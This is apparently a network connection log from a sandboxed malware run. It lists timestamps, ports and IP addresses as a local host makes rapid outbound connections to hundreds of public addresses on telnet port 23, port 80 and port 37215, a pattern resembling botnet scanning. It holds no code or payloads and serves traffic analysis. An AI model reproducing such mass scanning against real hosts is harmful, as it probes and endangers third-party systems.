Dec 3, 2024 21:02:03.784948111 CET	80	50104	196.18.47.40	192.168.2.23
Dec 3, 2024 21:02:03.785021067 CET	80	50104	196.18.47.40	192.168.2.23
Dec 3, 2024 21:02:03.785056114 CET	23	50320	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:03.785098076 CET	50320	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:03.785258055 CET	80	50692	196.18.47.40	192.168.2.23
Dec 3, 2024 21:02:03.785316944 CET	50692	80	192.168.2.23	196.18.47.40
Dec 3, 2024 21:02:03.785316944 CET	50692	80	192.168.2.23	196.18.47.40
Dec 3, 2024 21:02:03.785729885 CET	80	57544	94.96.69.236	192.168.2.23
Dec 3, 2024 21:02:03.785836935 CET	80	57544	94.96.69.236	192.168.2.23
Dec 3, 2024 21:02:03.786089897 CET	80	58132	94.96.69.236	192.168.2.23
Dec 3, 2024 21:02:03.786134958 CET	58132	80	192.168.2.23	94.96.69.236
Dec 3, 2024 21:02:03.786134958 CET	58132	80	192.168.2.23	94.96.69.236
Dec 3, 2024 21:02:03.789247990 CET	80	44046	141.213.246.18	192.168.2.23
Dec 3, 2024 21:02:03.789319992 CET	44046	80	192.168.2.23	141.213.246.18
Dec 3, 2024 21:02:03.789346933 CET	44046	80	192.168.2.23	141.213.246.18
Dec 3, 2024 21:02:03.789346933 CET	44046	80	192.168.2.23	141.213.246.18
Dec 3, 2024 21:02:03.789628983 CET	44266	80	192.168.2.23	141.213.246.18
Dec 3, 2024 21:02:03.791510105 CET	23	45526	195.179.219.228	192.168.2.23
Dec 3, 2024 21:02:03.796771049 CET	37215	51776	156.185.158.141	192.168.2.23
Dec 3, 2024 21:02:03.796827078 CET	37215	55184	197.172.237.132	192.168.2.23
Dec 3, 2024 21:02:03.796868086 CET	55184	37215	192.168.2.23	197.172.237.132
Dec 3, 2024 21:02:03.797184944 CET	37215	51800	156.185.158.141	192.168.2.23
Dec 3, 2024 21:02:03.797224998 CET	51800	37215	192.168.2.23	156.185.158.141
Dec 3, 2024 21:02:03.797451973 CET	37215	50814	156.203.96.111	192.168.2.23
Dec 3, 2024 21:02:03.797488928 CET	50814	37215	192.168.2.23	156.203.96.111
Dec 3, 2024 21:02:03.815083027 CET	23	37178	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:03.815229893 CET	23	37224	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:03.815275908 CET	37224	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:03.822101116 CET	23	41562	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:03.822149038 CET	41562	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:03.823236942 CET	23	60694	177.56.160.63	192.168.2.23
Dec 3, 2024 21:02:03.823566914 CET	23	60740	177.56.160.63	192.168.2.23
Dec 3, 2024 21:02:03.823609114 CET	60740	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:02:03.824004889 CET	23	51380	202.40.229.40	192.168.2.23
Dec 3, 2024 21:02:03.829315901 CET	50184	80	192.168.2.23	110.168.236.82
Dec 3, 2024 21:02:03.829319954 CET	45102	80	192.168.2.23	80.226.46.63
Dec 3, 2024 21:02:03.829325914 CET	42036	80	192.168.2.23	190.72.224.255
Dec 3, 2024 21:02:03.829329967 CET	55652	80	192.168.2.23	64.190.107.191
Dec 3, 2024 21:02:03.829329967 CET	57978	80	192.168.2.23	182.202.139.121
Dec 3, 2024 21:02:03.837980032 CET	23	46548	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:03.838232040 CET	23	46594	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:03.838304996 CET	46594	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:03.838474989 CET	23	34720	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:03.838546991 CET	34720	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:03.838821888 CET	34766	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:03.840997934 CET	23	46926	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:03.841283083 CET	23	46972	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:03.841324091 CET	46972	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:03.846575975 CET	23	39488	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:03.846635103 CET	39488	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:03.846875906 CET	39534	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:03.861308098 CET	47096	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:03.873368025 CET	23	48208	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:03.873462915 CET	23	48254	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:03.873505116 CET	48254	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:03.873826981 CET	23	48064	164.219.137.204	192.168.2.23
Dec 3, 2024 21:02:03.874005079 CET	23	48110	164.219.137.204	192.168.2.23
Dec 3, 2024 21:02:03.874043941 CET	48110	23	192.168.2.23	164.219.137.204
Dec 3, 2024 21:02:03.885240078 CET	23	44176	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:03.885387897 CET	44176	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:03.892039061 CET	23	60958	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:03.892179012 CET	23	32772	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:03.892222881 CET	32772	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:03.902141094 CET	80	57886	167.253.159.61	192.168.2.23
Dec 3, 2024 21:02:03.902153015 CET	80	44846	105.246.121.171	192.168.2.23
Dec 3, 2024 21:02:03.902220964 CET	80	50104	196.18.47.40	192.168.2.23
Dec 3, 2024 21:02:03.902395010 CET	80	44846	105.246.121.171	192.168.2.23
Dec 3, 2024 21:02:03.902539968 CET	80	44880	105.246.121.171	192.168.2.23
Dec 3, 2024 21:02:03.902549982 CET	80	57544	94.96.69.236	192.168.2.23
Dec 3, 2024 21:02:03.902584076 CET	44880	80	192.168.2.23	105.246.121.171
Dec 3, 2024 21:02:03.902616978 CET	44880	80	192.168.2.23	105.246.121.171
Dec 3, 2024 21:02:03.902812958 CET	80	39960	4.65.158.178	192.168.2.23
Dec 3, 2024 21:02:03.902878046 CET	80	54148	46.237.250.155	192.168.2.23
Dec 3, 2024 21:02:03.902898073 CET	80	54148	46.237.250.155	192.168.2.23
Dec 3, 2024 21:02:03.903023958 CET	80	54148	46.237.250.155	192.168.2.23
Dec 3, 2024 21:02:03.903134108 CET	80	54182	46.237.250.155	192.168.2.23
Dec 3, 2024 21:02:03.903177977 CET	54182	80	192.168.2.23	46.237.250.155
Dec 3, 2024 21:02:03.903177977 CET	54182	80	192.168.2.23	46.237.250.155
Dec 3, 2024 21:02:03.903280973 CET	23	50518	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:03.903337002 CET	50518	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:03.903515100 CET	80	58478	167.253.159.61	192.168.2.23
Dec 3, 2024 21:02:03.903548002 CET	58478	80	192.168.2.23	167.253.159.61
Dec 3, 2024 21:02:03.903637886 CET	50560	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:03.904241085 CET	23	51442	74.221.182.117	192.168.2.23
Dec 3, 2024 21:02:03.904484987 CET	80	40546	4.65.158.178	192.168.2.23
Dec 3, 2024 21:02:03.904524088 CET	40546	80	192.168.2.23	4.65.158.178
Dec 3, 2024 21:02:03.905251026 CET	23	50320	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:03.905302048 CET	50320	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:03.905334949 CET	50320	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:03.905412912 CET	80	50692	196.18.47.40	192.168.2.23
Dec 3, 2024 21:02:03.905448914 CET	50692	80	192.168.2.23	196.18.47.40
Dec 3, 2024 21:02:03.905543089 CET	50358	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:03.906241894 CET	80	58132	94.96.69.236	192.168.2.23
Dec 3, 2024 21:02:03.906280994 CET	58132	80	192.168.2.23	94.96.69.236
Dec 3, 2024 21:02:03.909564018 CET	80	44046	141.213.246.18	192.168.2.23
Dec 3, 2024 21:02:03.909692049 CET	80	44046	141.213.246.18	192.168.2.23
Dec 3, 2024 21:02:03.909702063 CET	80	44266	141.213.246.18	192.168.2.23
Dec 3, 2024 21:02:03.909749031 CET	44266	80	192.168.2.23	141.213.246.18
Dec 3, 2024 21:02:03.909763098 CET	44266	80	192.168.2.23	141.213.246.18
Dec 3, 2024 21:02:03.935494900 CET	23	37224	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:03.935581923 CET	37224	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:03.935873032 CET	37256	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:03.942389965 CET	23	41562	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:03.942441940 CET	41562	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:03.942675114 CET	41788	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:03.943671942 CET	23	60740	177.56.160.63	192.168.2.23
Dec 3, 2024 21:02:03.943730116 CET	60740	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:02:03.943953991 CET	60774	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:02:03.949486971 CET	80	50184	110.168.236.82	192.168.2.23
Dec 3, 2024 21:02:03.949497938 CET	80	42036	190.72.224.255	192.168.2.23
Dec 3, 2024 21:02:03.949506998 CET	80	45102	80.226.46.63	192.168.2.23
Dec 3, 2024 21:02:03.949521065 CET	80	55652	64.190.107.191	192.168.2.23
Dec 3, 2024 21:02:03.949533939 CET	42036	80	192.168.2.23	190.72.224.255
Dec 3, 2024 21:02:03.949536085 CET	50184	80	192.168.2.23	110.168.236.82
Dec 3, 2024 21:02:03.949542046 CET	45102	80	192.168.2.23	80.226.46.63
Dec 3, 2024 21:02:03.949561119 CET	55652	80	192.168.2.23	64.190.107.191
Dec 3, 2024 21:02:03.949584961 CET	42036	80	192.168.2.23	190.72.224.255
Dec 3, 2024 21:02:03.949584961 CET	42036	80	192.168.2.23	190.72.224.255
Dec 3, 2024 21:02:03.949984074 CET	42234	80	192.168.2.23	190.72.224.255
Dec 3, 2024 21:02:03.950280905 CET	45102	80	192.168.2.23	80.226.46.63
Dec 3, 2024 21:02:03.950280905 CET	45102	80	192.168.2.23	80.226.46.63
Dec 3, 2024 21:02:03.950506926 CET	45300	80	192.168.2.23	80.226.46.63
Dec 3, 2024 21:02:03.950809002 CET	50184	80	192.168.2.23	110.168.236.82
Dec 3, 2024 21:02:03.950809002 CET	50184	80	192.168.2.23	110.168.236.82
Dec 3, 2024 21:02:03.951064110 CET	50382	80	192.168.2.23	110.168.236.82
Dec 3, 2024 21:02:03.951384068 CET	55652	80	192.168.2.23	64.190.107.191
Dec 3, 2024 21:02:03.951384068 CET	55652	80	192.168.2.23	64.190.107.191
Dec 3, 2024 21:02:03.951615095 CET	55858	80	192.168.2.23	64.190.107.191
Dec 3, 2024 21:02:03.958807945 CET	23	46594	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:03.958854914 CET	23	34720	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:03.958877087 CET	46594	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:03.959098101 CET	46634	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:03.959218025 CET	23	34766	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:03.959252119 CET	34766	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:03.959391117 CET	19873	23	192.168.2.23	179.90.159.218
Dec 3, 2024 21:02:03.959392071 CET	19873	23	192.168.2.23	24.129.126.156
Dec 3, 2024 21:02:03.959405899 CET	19873	23	192.168.2.23	97.101.17.208
Dec 3, 2024 21:02:03.959407091 CET	19873	23	192.168.2.23	161.125.8.198
Dec 3, 2024 21:02:03.959408998 CET	19873	23	192.168.2.23	52.140.218.47
Dec 3, 2024 21:02:03.959414959 CET	19873	23	192.168.2.23	165.179.235.39
Dec 3, 2024 21:02:03.959414959 CET	19873	23	192.168.2.23	177.211.248.129
Dec 3, 2024 21:02:03.959415913 CET	19873	23	192.168.2.23	19.222.185.174
Dec 3, 2024 21:02:03.959434986 CET	19873	23	192.168.2.23	157.53.148.179
Dec 3, 2024 21:02:03.959436893 CET	19873	23	192.168.2.23	103.228.254.229
Dec 3, 2024 21:02:03.959449053 CET	19873	23	192.168.2.23	71.199.177.26
Dec 3, 2024 21:02:03.959450006 CET	19873	23	192.168.2.23	140.31.2.119
Dec 3, 2024 21:02:03.959450960 CET	19873	23	192.168.2.23	137.113.79.50
Dec 3, 2024 21:02:03.959455967 CET	19873	23	192.168.2.23	203.60.218.191
Dec 3, 2024 21:02:03.959455967 CET	19873	23	192.168.2.23	128.96.148.195
Dec 3, 2024 21:02:03.959453106 CET	19873	23	192.168.2.23	51.207.37.21
Dec 3, 2024 21:02:03.959453106 CET	19873	23	192.168.2.23	24.230.137.188
Dec 3, 2024 21:02:03.959453106 CET	19873	23	192.168.2.23	146.89.110.14
Dec 3, 2024 21:02:03.959462881 CET	19873	23	192.168.2.23	54.126.205.135
Dec 3, 2024 21:02:03.959464073 CET	19873	23	192.168.2.23	211.171.106.34
Dec 3, 2024 21:02:03.959475040 CET	19873	23	192.168.2.23	218.232.182.110
Dec 3, 2024 21:02:03.959476948 CET	19873	23	192.168.2.23	90.109.133.29
Dec 3, 2024 21:02:03.959492922 CET	19873	23	192.168.2.23	83.40.156.146
Dec 3, 2024 21:02:03.959497929 CET	19873	23	192.168.2.23	180.183.113.117
Dec 3, 2024 21:02:03.959497929 CET	19873	23	192.168.2.23	194.239.195.226
Dec 3, 2024 21:02:03.959497929 CET	19873	23	192.168.2.23	2.40.50.30
Dec 3, 2024 21:02:03.959520102 CET	19873	23	192.168.2.23	32.20.146.170
Dec 3, 2024 21:02:03.959520102 CET	19873	23	192.168.2.23	221.52.220.161
Dec 3, 2024 21:02:03.959522009 CET	19873	23	192.168.2.23	132.131.114.248
Dec 3, 2024 21:02:03.959523916 CET	19873	23	192.168.2.23	98.115.97.6
Dec 3, 2024 21:02:03.959537029 CET	19873	23	192.168.2.23	177.34.93.210
Dec 3, 2024 21:02:03.959538937 CET	19873	23	192.168.2.23	186.97.185.89
Dec 3, 2024 21:02:03.959543943 CET	19873	23	192.168.2.23	60.51.13.247
Dec 3, 2024 21:02:03.959558964 CET	19873	23	192.168.2.23	221.146.147.83
Dec 3, 2024 21:02:03.959558964 CET	19873	23	192.168.2.23	122.124.78.13
Dec 3, 2024 21:02:03.959562063 CET	19873	23	192.168.2.23	25.241.213.254
Dec 3, 2024 21:02:03.959577084 CET	19873	23	192.168.2.23	164.44.191.50
Dec 3, 2024 21:02:03.959583044 CET	19873	23	192.168.2.23	203.106.37.174
Dec 3, 2024 21:02:03.959597111 CET	19873	23	192.168.2.23	137.231.68.255
Dec 3, 2024 21:02:03.959597111 CET	19873	23	192.168.2.23	196.34.169.143
Dec 3, 2024 21:02:03.959597111 CET	19873	23	192.168.2.23	209.155.112.231
Dec 3, 2024 21:02:03.959597111 CET	19873	23	192.168.2.23	106.60.44.230
Dec 3, 2024 21:02:03.959602118 CET	19873	23	192.168.2.23	142.35.81.81
Dec 3, 2024 21:02:03.959602118 CET	19873	23	192.168.2.23	9.49.212.157
Dec 3, 2024 21:02:03.959604979 CET	19873	23	192.168.2.23	122.9.203.147
Dec 3, 2024 21:02:03.959623098 CET	19873	23	192.168.2.23	94.220.29.150
Dec 3, 2024 21:02:03.959623098 CET	19873	23	192.168.2.23	19.77.75.230
Dec 3, 2024 21:02:03.959625006 CET	19873	23	192.168.2.23	57.145.1.119
Dec 3, 2024 21:02:03.959629059 CET	19873	23	192.168.2.23	188.134.173.74
Dec 3, 2024 21:02:03.959629059 CET	19873	23	192.168.2.23	72.80.248.12
Dec 3, 2024 21:02:03.959635973 CET	19873	23	192.168.2.23	4.107.100.79
Dec 3, 2024 21:02:03.959650993 CET	19873	23	192.168.2.23	151.123.126.123
Dec 3, 2024 21:02:03.959655046 CET	19873	23	192.168.2.23	57.182.142.170
Dec 3, 2024 21:02:03.959662914 CET	19873	23	192.168.2.23	151.113.145.22
Dec 3, 2024 21:02:03.959670067 CET	19873	23	192.168.2.23	137.158.125.36
Dec 3, 2024 21:02:03.959681034 CET	19873	23	192.168.2.23	119.175.247.255
Dec 3, 2024 21:02:03.959685087 CET	19873	23	192.168.2.23	181.245.247.100
Dec 3, 2024 21:02:03.959696054 CET	19873	23	192.168.2.23	68.207.143.167
Dec 3, 2024 21:02:03.959698915 CET	19873	23	192.168.2.23	12.109.138.199
Dec 3, 2024 21:02:03.959698915 CET	19873	23	192.168.2.23	130.69.52.30
Dec 3, 2024 21:02:03.959698915 CET	19873	23	192.168.2.23	187.73.100.127
Dec 3, 2024 21:02:03.959702015 CET	19873	23	192.168.2.23	24.211.102.57
Dec 3, 2024 21:02:03.959706068 CET	19873	23	192.168.2.23	197.80.196.198
Dec 3, 2024 21:02:03.959712029 CET	19873	23	192.168.2.23	59.108.83.88
Dec 3, 2024 21:02:03.959717989 CET	19873	23	192.168.2.23	4.172.131.216
Dec 3, 2024 21:02:03.959722042 CET	19873	23	192.168.2.23	53.211.203.32
Dec 3, 2024 21:02:03.959724903 CET	19873	23	192.168.2.23	153.160.212.50
Dec 3, 2024 21:02:03.959731102 CET	19873	23	192.168.2.23	169.216.10.173
Dec 3, 2024 21:02:03.959733963 CET	19873	23	192.168.2.23	133.76.25.83
Dec 3, 2024 21:02:03.959737062 CET	19873	23	192.168.2.23	205.100.234.159
Dec 3, 2024 21:02:03.959749937 CET	19873	23	192.168.2.23	198.43.215.34
Dec 3, 2024 21:02:03.959758043 CET	19873	23	192.168.2.23	113.233.75.254
Dec 3, 2024 21:02:03.959764957 CET	19873	23	192.168.2.23	43.250.253.44
Dec 3, 2024 21:02:03.959772110 CET	19873	23	192.168.2.23	96.149.156.211
Dec 3, 2024 21:02:03.959772110 CET	19873	23	192.168.2.23	94.59.160.220
Dec 3, 2024 21:02:03.959780931 CET	19873	23	192.168.2.23	197.161.226.121
Dec 3, 2024 21:02:03.959790945 CET	19873	23	192.168.2.23	54.48.57.74
Dec 3, 2024 21:02:03.959806919 CET	19873	23	192.168.2.23	180.192.199.212
Dec 3, 2024 21:02:03.959810019 CET	19873	23	192.168.2.23	147.101.203.159
Dec 3, 2024 21:02:03.959810019 CET	19873	23	192.168.2.23	19.68.51.248
Dec 3, 2024 21:02:03.959810019 CET	19873	23	192.168.2.23	12.76.86.151
Dec 3, 2024 21:02:03.959810019 CET	19873	23	192.168.2.23	212.4.234.176
Dec 3, 2024 21:02:03.959813118 CET	19873	23	192.168.2.23	204.63.243.234
Dec 3, 2024 21:02:03.959813118 CET	19873	23	192.168.2.23	19.214.97.166
Dec 3, 2024 21:02:03.959819078 CET	19873	23	192.168.2.23	93.171.168.135
Dec 3, 2024 21:02:03.959831953 CET	19873	23	192.168.2.23	108.196.87.227
Dec 3, 2024 21:02:03.959841013 CET	19873	23	192.168.2.23	20.214.200.98
Dec 3, 2024 21:02:03.959841967 CET	19873	23	192.168.2.23	67.49.39.225
Dec 3, 2024 21:02:03.959845066 CET	19873	23	192.168.2.23	143.136.120.166
Dec 3, 2024 21:02:03.959846020 CET	19873	23	192.168.2.23	39.13.120.181
Dec 3, 2024 21:02:03.959857941 CET	19873	23	192.168.2.23	195.90.58.112
Dec 3, 2024 21:02:03.959865093 CET	19873	23	192.168.2.23	46.52.223.108
Dec 3, 2024 21:02:03.959868908 CET	19873	23	192.168.2.23	51.145.170.51
Dec 3, 2024 21:02:03.959883928 CET	19873	23	192.168.2.23	138.173.111.80
Dec 3, 2024 21:02:03.959886074 CET	19873	23	192.168.2.23	217.165.12.102
Dec 3, 2024 21:02:03.959886074 CET	19873	23	192.168.2.23	141.73.188.16
Dec 3, 2024 21:02:03.959889889 CET	19873	23	192.168.2.23	156.81.176.14
Dec 3, 2024 21:02:03.959897041 CET	19873	23	192.168.2.23	72.61.114.165
Dec 3, 2024 21:02:03.959906101 CET	19873	23	192.168.2.23	141.2.42.172
Dec 3, 2024 21:02:03.959907055 CET	19873	23	192.168.2.23	62.107.251.235
Dec 3, 2024 21:02:03.959908962 CET	19873	23	192.168.2.23	180.214.37.188
Dec 3, 2024 21:02:03.959913969 CET	19873	23	192.168.2.23	71.103.79.129
Dec 3, 2024 21:02:03.959913969 CET	19873	23	192.168.2.23	158.53.232.205
Dec 3, 2024 21:02:03.959924936 CET	19873	23	192.168.2.23	108.161.74.72
Dec 3, 2024 21:02:03.959929943 CET	19873	23	192.168.2.23	169.112.73.233
Dec 3, 2024 21:02:03.959933996 CET	19873	23	192.168.2.23	125.77.200.162
Dec 3, 2024 21:02:03.959944963 CET	19873	23	192.168.2.23	103.104.31.91
Dec 3, 2024 21:02:03.959948063 CET	19873	23	192.168.2.23	149.120.0.142
Dec 3, 2024 21:02:03.959952116 CET	19873	23	192.168.2.23	158.80.92.136
Dec 3, 2024 21:02:03.959954977 CET	19873	23	192.168.2.23	150.176.119.14
Dec 3, 2024 21:02:03.959956884 CET	19873	23	192.168.2.23	17.83.39.47
Dec 3, 2024 21:02:03.959961891 CET	19873	23	192.168.2.23	96.219.115.51
Dec 3, 2024 21:02:03.959970951 CET	19873	23	192.168.2.23	112.224.188.202
Dec 3, 2024 21:02:03.959974051 CET	19873	23	192.168.2.23	190.220.84.126
Dec 3, 2024 21:02:03.959986925 CET	19873	23	192.168.2.23	61.28.140.190
Dec 3, 2024 21:02:03.959990978 CET	19873	23	192.168.2.23	217.189.65.56
Dec 3, 2024 21:02:03.959990978 CET	19873	23	192.168.2.23	209.255.72.5
Dec 3, 2024 21:02:03.960005045 CET	19873	23	192.168.2.23	38.244.63.145
Dec 3, 2024 21:02:03.960005999 CET	19873	23	192.168.2.23	41.148.211.48
Dec 3, 2024 21:02:03.960006952 CET	19873	23	192.168.2.23	209.243.163.114
Dec 3, 2024 21:02:03.960022926 CET	19873	23	192.168.2.23	13.235.254.212
Dec 3, 2024 21:02:03.960024118 CET	19873	23	192.168.2.23	67.251.107.56
Dec 3, 2024 21:02:03.960024118 CET	19873	23	192.168.2.23	111.70.234.233
Dec 3, 2024 21:02:03.960031033 CET	19873	23	192.168.2.23	156.51.9.63
Dec 3, 2024 21:02:03.960032940 CET	19873	23	192.168.2.23	223.190.159.151
Dec 3, 2024 21:02:03.960042000 CET	19873	23	192.168.2.23	173.251.23.59
Dec 3, 2024 21:02:03.960047960 CET	19873	23	192.168.2.23	52.43.103.151
Dec 3, 2024 21:02:03.960061073 CET	19873	23	192.168.2.23	84.70.119.126
Dec 3, 2024 21:02:03.960062027 CET	19873	23	192.168.2.23	20.108.102.136
Dec 3, 2024 21:02:03.960062027 CET	19873	23	192.168.2.23	144.230.58.228
Dec 3, 2024 21:02:03.960066080 CET	19873	23	192.168.2.23	157.246.71.85
Dec 3, 2024 21:02:03.960084915 CET	19873	23	192.168.2.23	8.77.97.178
Dec 3, 2024 21:02:03.960084915 CET	19873	23	192.168.2.23	175.119.85.169
Dec 3, 2024 21:02:03.960092068 CET	19873	23	192.168.2.23	96.247.93.222
Dec 3, 2024 21:02:03.960093021 CET	19873	23	192.168.2.23	219.165.209.133
Dec 3, 2024 21:02:03.960095882 CET	19873	23	192.168.2.23	103.237.97.181
Dec 3, 2024 21:02:03.960114956 CET	19873	23	192.168.2.23	37.169.50.105
Dec 3, 2024 21:02:03.960115910 CET	19873	23	192.168.2.23	49.166.1.245
Dec 3, 2024 21:02:03.960118055 CET	19873	23	192.168.2.23	198.186.153.24
Dec 3, 2024 21:02:03.960118055 CET	19873	23	192.168.2.23	90.137.38.146
Dec 3, 2024 21:02:03.960130930 CET	19873	23	192.168.2.23	137.39.48.253
Dec 3, 2024 21:02:03.960131884 CET	19873	23	192.168.2.23	12.117.218.69
Dec 3, 2024 21:02:03.960139990 CET	19873	23	192.168.2.23	160.234.65.70
Dec 3, 2024 21:02:03.960144043 CET	19873	23	192.168.2.23	210.70.55.177
Dec 3, 2024 21:02:03.960150957 CET	19873	23	192.168.2.23	200.97.157.78
Dec 3, 2024 21:02:03.960155964 CET	19873	23	192.168.2.23	152.246.211.251
Dec 3, 2024 21:02:03.960160017 CET	19873	23	192.168.2.23	35.48.221.93
Dec 3, 2024 21:02:03.960177898 CET	19873	23	192.168.2.23	67.4.139.16
Dec 3, 2024 21:02:03.960180998 CET	19873	23	192.168.2.23	46.68.194.0
Dec 3, 2024 21:02:03.960180998 CET	19873	23	192.168.2.23	20.14.31.110
Dec 3, 2024 21:02:03.960181952 CET	19873	23	192.168.2.23	52.173.4.153
Dec 3, 2024 21:02:03.960192919 CET	19873	23	192.168.2.23	25.121.173.5
Dec 3, 2024 21:02:03.960199118 CET	19873	23	192.168.2.23	221.71.169.253
Dec 3, 2024 21:02:03.960202932 CET	19873	23	192.168.2.23	201.163.70.118
Dec 3, 2024 21:02:03.960211992 CET	19873	23	192.168.2.23	105.255.160.53
Dec 3, 2024 21:02:03.960215092 CET	19873	23	192.168.2.23	45.216.93.219
Dec 3, 2024 21:02:03.960216045 CET	19873	23	192.168.2.23	103.232.77.108
Dec 3, 2024 21:02:03.960222006 CET	19873	23	192.168.2.23	128.41.142.178
Dec 3, 2024 21:02:03.960222006 CET	19873	23	192.168.2.23	99.124.29.102
Dec 3, 2024 21:02:03.960239887 CET	19873	23	192.168.2.23	216.128.126.118
Dec 3, 2024 21:02:03.960242987 CET	19873	23	192.168.2.23	186.164.182.21
Dec 3, 2024 21:02:03.960242987 CET	19873	23	192.168.2.23	67.241.20.38
Dec 3, 2024 21:02:03.960246086 CET	19873	23	192.168.2.23	196.122.18.79
Dec 3, 2024 21:02:03.960246086 CET	19873	23	192.168.2.23	184.39.27.24
Dec 3, 2024 21:02:03.960248947 CET	19873	23	192.168.2.23	49.173.236.183
Dec 3, 2024 21:02:03.960261106 CET	19873	23	192.168.2.23	108.121.133.252
Dec 3, 2024 21:02:03.960264921 CET	19873	23	192.168.2.23	164.122.76.250
Dec 3, 2024 21:02:03.960267067 CET	19873	23	192.168.2.23	174.193.90.149
Dec 3, 2024 21:02:03.960267067 CET	19873	23	192.168.2.23	129.195.56.171
Dec 3, 2024 21:02:03.960267067 CET	19873	23	192.168.2.23	109.95.10.5
Dec 3, 2024 21:02:03.960274935 CET	19873	23	192.168.2.23	121.248.59.66
Dec 3, 2024 21:02:03.960274935 CET	19873	23	192.168.2.23	200.189.159.99
Dec 3, 2024 21:02:03.960275888 CET	19873	23	192.168.2.23	103.180.193.2
Dec 3, 2024 21:02:03.960293055 CET	19873	23	192.168.2.23	38.246.203.241
Dec 3, 2024 21:02:03.960294008 CET	19873	23	192.168.2.23	156.68.123.19
Dec 3, 2024 21:02:03.960299015 CET	19873	23	192.168.2.23	96.176.255.115
Dec 3, 2024 21:02:03.960306883 CET	19873	23	192.168.2.23	50.159.229.192
Dec 3, 2024 21:02:03.960314035 CET	19873	23	192.168.2.23	90.238.0.203
Dec 3, 2024 21:02:03.960314035 CET	19873	23	192.168.2.23	95.240.56.181
Dec 3, 2024 21:02:03.960328102 CET	19873	23	192.168.2.23	222.32.101.179
Dec 3, 2024 21:02:03.960330963 CET	19873	23	192.168.2.23	105.86.135.222
Dec 3, 2024 21:02:03.960338116 CET	19873	23	192.168.2.23	20.166.33.44
Dec 3, 2024 21:02:03.960339069 CET	19873	23	192.168.2.23	142.191.214.101
Dec 3, 2024 21:02:03.960339069 CET	19873	23	192.168.2.23	54.207.136.36
Dec 3, 2024 21:02:03.960341930 CET	19873	23	192.168.2.23	45.85.96.145
Dec 3, 2024 21:02:03.960341930 CET	19873	23	192.168.2.23	37.63.63.218
Dec 3, 2024 21:02:03.960341930 CET	19873	23	192.168.2.23	144.244.246.63
Dec 3, 2024 21:02:03.960341930 CET	19873	23	192.168.2.23	112.142.208.94
Dec 3, 2024 21:02:03.960345030 CET	19873	23	192.168.2.23	91.34.97.41
Dec 3, 2024 21:02:03.960350037 CET	19873	23	192.168.2.23	152.185.164.52
Dec 3, 2024 21:02:03.960361958 CET	19873	23	192.168.2.23	180.216.216.245
Dec 3, 2024 21:02:03.960371017 CET	19873	23	192.168.2.23	159.210.178.18
Dec 3, 2024 21:02:03.960371017 CET	19873	23	192.168.2.23	111.135.253.209
Dec 3, 2024 21:02:03.960381031 CET	19873	23	192.168.2.23	104.187.50.4
Dec 3, 2024 21:02:03.960383892 CET	19873	23	192.168.2.23	129.85.91.40
Dec 3, 2024 21:02:03.960386038 CET	19873	23	192.168.2.23	97.59.90.16
Dec 3, 2024 21:02:03.960396051 CET	19873	23	192.168.2.23	134.0.156.244
Dec 3, 2024 21:02:03.960396051 CET	19873	23	192.168.2.23	132.197.160.165
Dec 3, 2024 21:02:03.960412979 CET	19873	23	192.168.2.23	57.91.42.122
Dec 3, 2024 21:02:03.960416079 CET	19873	23	192.168.2.23	210.47.88.190
Dec 3, 2024 21:02:03.960416079 CET	19873	23	192.168.2.23	36.54.142.207
Dec 3, 2024 21:02:03.960427999 CET	19873	23	192.168.2.23	180.104.172.87
Dec 3, 2024 21:02:03.960429907 CET	19873	23	192.168.2.23	147.5.229.228
Dec 3, 2024 21:02:03.960429907 CET	19873	23	192.168.2.23	124.39.137.224
Dec 3, 2024 21:02:03.960429907 CET	19873	23	192.168.2.23	50.164.119.221
Dec 3, 2024 21:02:03.960438967 CET	19873	23	192.168.2.23	178.163.204.134
